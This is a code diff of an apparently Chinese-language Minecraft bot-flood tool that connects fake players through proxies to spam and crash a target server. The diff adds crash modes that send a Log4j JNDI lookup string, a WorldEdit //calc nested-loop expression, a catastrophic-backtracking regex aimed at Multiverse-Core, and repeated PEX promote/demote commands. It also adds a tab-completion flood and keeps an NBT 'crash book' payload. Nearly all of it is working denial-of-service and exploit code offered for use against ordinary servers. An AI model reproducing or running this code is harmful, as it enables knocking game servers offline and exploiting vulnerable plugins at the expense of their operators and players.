alivePlayers.add(username);
}
if (ConfigUtil.ShowServerMessages && !result.get("msg").equals("")) { if (ConfigUtil.ShowServerMessages && !result.get("msg").equals("")) {
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack"); LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack");
} }
@ -573,8 +613,8 @@ public class NewBotAttack extends IAttack {
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack"); LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
joinedPlayers.add(session); joinedPlayers.add(session);
if (!alivePlayers.contains(username)) { if (!alivePlayers.contains(session)) {
alivePlayers.add(username); alivePlayers.add(session);
} }
VersionSupport758.sendClientSettingPacket(session, "zh_CN"); VersionSupport758.sendClientSettingPacket(session, "zh_CN");
@ -582,8 +622,8 @@ public class NewBotAttack extends IAttack {
} else if (recvPacket instanceof ClientboundKeepAlivePacket) { } else if (recvPacket instanceof ClientboundKeepAlivePacket) {
ServerboundKeepAlivePacket keepAlivePacket = new ServerboundKeepAlivePacket(((ClientboundKeepAlivePacket) recvPacket).getPingId()); ServerboundKeepAlivePacket keepAlivePacket = new ServerboundKeepAlivePacket(((ClientboundKeepAlivePacket) recvPacket).getPingId());
session.send(keepAlivePacket); session.send(keepAlivePacket);
if (!alivePlayers.contains(username)) { if (!alivePlayers.contains(session)) {
alivePlayers.add(username); alivePlayers.add(session);
} }
} else if (recvPacket instanceof ClientboundPlayerPositionPacket) { } else if (recvPacket instanceof ClientboundPlayerPositionPacket) {
try { try {
@ -605,10 +645,6 @@ public class NewBotAttack extends IAttack {
joinedPlayers.add(session); joinedPlayers.add(session);
} }
if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
}
if (ConfigUtil.ShowServerMessages) { if (ConfigUtil.ShowServerMessages) {
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack"); LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack");
} }
@ -624,10 +660,6 @@ public class NewBotAttack extends IAttack {
joinedPlayers.add(session); joinedPlayers.add(session);
} }
if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
}
if (ConfigUtil.ShowServerMessages) { if (ConfigUtil.ShowServerMessages) {
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack"); LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack");
} }
@ -643,10 +675,6 @@ public class NewBotAttack extends IAttack {
joinedPlayers.add(session); joinedPlayers.add(session);
} }
if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
}
if (ConfigUtil.ShowServerMessages) { if (ConfigUtil.ShowServerMessages) {
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack"); LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack");
} }
@ -654,7 +682,7 @@ public class NewBotAttack extends IAttack {
} }
public static ItemStack getCrashBook() { public static ItemStack getCrashBook() {
ItemStack crashBook = null; ItemStack crashBook;
CompoundTag nbtTag = new CompoundTag("crashBook"); CompoundTag nbtTag = new CompoundTag("crashBook");
List<Tag> pageList = new ArrayList<>(); List<Tag> pageList = new ArrayList<>();

View File

@ -56,7 +56,6 @@ public class BotAttack extends IAttack {
protected Map<String, String> modList; protected Map<String, String> modList;
private Thread mainThread; private Thread mainThread;
private Thread tabThread;
private Thread taskThread; private Thread taskThread;
public Set<Client> clients = new ConcurrentSet<>(); public Set<Client> clients = new ConcurrentSet<>();
@ -90,10 +89,8 @@ public class BotAttack extends IAttack {
if (c.isConnected()) { if (c.isConnected()) {
if (c.hasFlag("login")) { if (c.hasFlag("login")) {
if (ConfigUtil.ChatSpam) { if (ConfigUtil.ChatSpam) {
new Thread(() -> {
c.send(new ClientChatPacket(getRandMessage(clientName.get(c))));
OtherUtils.doSleep(ConfigUtil.ChatDelay); OtherUtils.doSleep(ConfigUtil.ChatDelay);
}).start(); c.send(new ClientChatPacket(getRandMessage(clientName.get(c))));
} }
if (ConfigUtil.RandomTeleport) { if (ConfigUtil.RandomTeleport) {
@ -111,10 +108,10 @@ public class BotAttack extends IAttack {
new Thread(() -> { new Thread(() -> {
c.setFlag("crasher", true); c.setFlag("crasher", true);
switch (ConfigUtil.ServerCrasherMode) {
case 1:
LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher"); LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher");
switch (ConfigUtil.ServerCrasherMode) {
case 1:
while (c.isConnected()) { while (c.isConnected()) {
try { try {
ItemStack crashBook = getCrashBook(); ItemStack crashBook = getCrashBook();
@ -136,9 +133,41 @@ public class BotAttack extends IAttack {
OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay); OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay);
} catch (Exception ignored) {} } catch (Exception ignored) {}
} }
break;
case 2:
String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}";
c.send(new ClientChatPacket(log4jExploit));
break;
case 3:
String worldEdit = "//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<255;c++){}}}}";
c.send(new ClientChatPacket(worldEdit));
break;
case 4:
String multiverseCore = "/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^";
c.send(new ClientChatPacket(multiverseCore));
break;
case 5:
String pex_1 = "/pex promote a a";
String pex_2 = "/pex demote a a";
while (c.isConnected()) {
c.send(new ClientChatPacket(new Random().nextBoolean() ? pex_1:pex_2));
OtherUtils.doSleep(2000);
}
break; break;
default: default:
LogUtil.doLog(1, "ServerCrasher Mode设置有误请检查配置文件。", null);
break;
}
}).start();
}
if (ConfigUtil.TabAttack && !c.hasFlag("tabAttack")) {
c.setFlag("tabAttack", true);
new Thread(() -> {
while (c.isConnected()) {
MultiVersionPacket.sendTabPacket(c, "/");
OtherUtils.doSleep(100);
} }
}).start(); }).start();
} }
@ -157,8 +186,9 @@ public class BotAttack extends IAttack {
} else { } else {
c.setFlag("login", true); c.setFlag("login", true);
} }
} }
} else {
alivePlayers.remove(c);
} }
} }
@ -191,37 +221,19 @@ public class BotAttack extends IAttack {
} }
}); });
if (this.attack_tab) {
tabThread = new Thread(() -> {
while (true) {
Set<Client> cacheClients = clients;
for (Client c:cacheClients) {
if (c.getSession().isConnected() && c.getSession().hasFlag("login")) {
MultiVersionPacket.sendTabPacket(c.getSession(), "/");
}
}
OtherUtils.doSleep(10);
}
});
}
mainThread.start(); mainThread.start();
if (tabThread != null) if (taskThread != null) {
tabThread.start();
if (taskThread != null)
taskThread.start(); taskThread.start();
} }
}
@SuppressWarnings("deprecation") @SuppressWarnings("deprecation")
public void stop() { public void stop() {
mainThread.stop(); mainThread.stop();
if (tabThread != null) if (taskThread != null) {
tabThread.stop();
if (taskThread != null)
taskThread.stop(); taskThread.stop();
} }
}
public void setTask(Runnable task) { public void setTask(Runnable task) {
taskThread = new Thread(task); taskThread = new Thread(task);
@ -255,7 +267,7 @@ public class BotAttack extends IAttack {
break; break;
} }
while (clients.size() > this.attack_maxconnect) { while (clients.size() <= this.attack_maxconnect) {
for (String p: ProxyUtil.proxies) { for (String p: ProxyUtil.proxies) {
try { try {
if (!EndMinecraftPlusV2.isLinux) { if (!EndMinecraftPlusV2.isLinux) {
@ -270,7 +282,6 @@ public class BotAttack extends IAttack {
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
clientName.put(client.getSession(), User[0]); clientName.put(client.getSession(), User[0]);
clients.add(client); clients.add(client);
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
pool.submit(() -> { pool.submit(() -> {
if (this.attack_motdbefore) { if (this.attack_motdbefore) {
@ -315,8 +326,6 @@ public class BotAttack extends IAttack {
if (ConfigUtil.SaveWorkingProxy) { if (ConfigUtil.SaveWorkingProxy) {
ProxyUtil.saveWorkingProxy(proxy); ProxyUtil.saveWorkingProxy(proxy);
} }
clientName.put(client.getSession(), username);
} }
public void disconnecting(DisconnectingEvent e) { public void disconnecting(DisconnectingEvent e) {
@ -350,7 +359,6 @@ public class BotAttack extends IAttack {
clientName.put(rejoinClient.getSession(), username); clientName.put(rejoinClient.getSession(), username);
clients.add(rejoinClient); clients.add(rejoinClient);
rejoinClient.getSession().connect(false); rejoinClient.getSession().connect(false);
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) { if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
rejoinPlayers.remove(username); rejoinPlayers.remove(username);
@ -485,6 +493,10 @@ public class BotAttack extends IAttack {
if (!joinedPlayers.contains(session)) { if (!joinedPlayers.contains(session)) {
joinedPlayers.add(session); joinedPlayers.add(session);
} }
if (!alivePlayers.contains(session)) {
alivePlayers.add(session);
}
} }
} }
@ -514,7 +526,7 @@ public class BotAttack extends IAttack {
} }
public static ItemStack getCrashBook() { public static ItemStack getCrashBook() {
ItemStack crashBook = null; ItemStack crashBook;
CompoundTag nbtTag = new CompoundTag("crashBook"); CompoundTag nbtTag = new CompoundTag("crashBook");
List<Tag> pageList = new ArrayList<>(); List<Tag> pageList = new ArrayList<>();

View File

@ -49,7 +49,11 @@ AdvancedSettings:
# 来自FDPClient的魔法道具~ # 来自FDPClient的魔法道具~
ServerCrasher: ServerCrasher:
Enable: false Enable: false
# 1 - Book (BSign/BEdit) # 1 - Book (BSign/BEdit) [仅1.8.X可用]
# 2 - Log4j Exploit
# 3 - WorldEdit
# 4 - MultiverseCore
# 5 - PEX
Mode: 1 Mode: 1
PacketDelay: 100 PacketDelay: 100